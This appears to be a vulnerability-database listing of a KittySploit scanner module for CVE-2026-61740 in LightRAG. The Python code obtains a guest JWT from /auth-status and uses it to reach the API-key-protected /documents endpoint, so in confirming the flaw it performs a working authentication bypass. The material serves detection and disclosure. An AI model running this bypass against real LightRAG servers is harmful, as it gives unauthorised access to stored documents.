Lucene search
+L

LightRAG CVE-2026-61740 guest token auth bypass detect

🗓️ 02 Dec 2026 07:18:03Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 8 Views

LightRAG guest JWT auth bypass allows access to /documents when API key is expected.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LightRAG guest JWT bypasses API key mode (CVE-2026-61740)."""

from __future__ import annotations

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        "name": "LightRAG CVE-2026-61740 guest token auth bypass detect",
        "description": (
            "Detects CVE-2026-61740: /auth-status issues guest JWT that unlocks "
            "/documents when the instance expects API key only."
        ),
        "author": ["KittySploit Team"],
        "severity": "critical",
        "cve": "CVE-2026-61740",
        "references": [
            "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-61740",
        ],
        "tags": ["web", "scanner", "lightrag", "auth-bypass", "cve-2026-61740", "kev"],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 3,
            "reversible": True,
            "approval_required": True,
            "produces": ["risk_signals", "exploit_paths"],
        },
    }

    def run(self):
        blocked = self.http_request("GET", "/documents", allow_redirects=False)
        if not blocked or int(blocked.status_code or 0) != 403:
            return False
        if "API Key required" not in (blocked.text or ""):
            return False

        auth = self.http_request("GET", "/auth-status", allow_redirects=False)
        if not auth or int(auth.status_code or 0) != 200:
            return False
        try:
            data = json.loads(auth.text or "{}")
        except json.JSONDecodeError:
            return False
        if data.get("auth_configured") is not False:
            return False
        token = str(data.get("access_token") or "")
        if not token:
            return False

        docs = self.http_request(
            "GET",
            "/documents",
            headers={"Authorization": f"Bearer {token}"},
            allow_redirects=False,
        )
        if not docs or int(docs.status_code or 0) != 200:
            return False
        ct = str(docs.headers.get("Content-Type", "")).lower()
        body = docs.text or ""
        if "application/json" not in ct or '"statuses"' not in body:
            return False

        self.set_info(
            severity="critical",
            cve="CVE-2026-61740",
            reason="LightRAG guest JWT bypasses API key protection on /documents",
            confidence="high",
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Dec 2026 07:18Current
6Medium risk
Vulners AI Score6
CVSS 49.3
EPSS0.01267
SSVC
8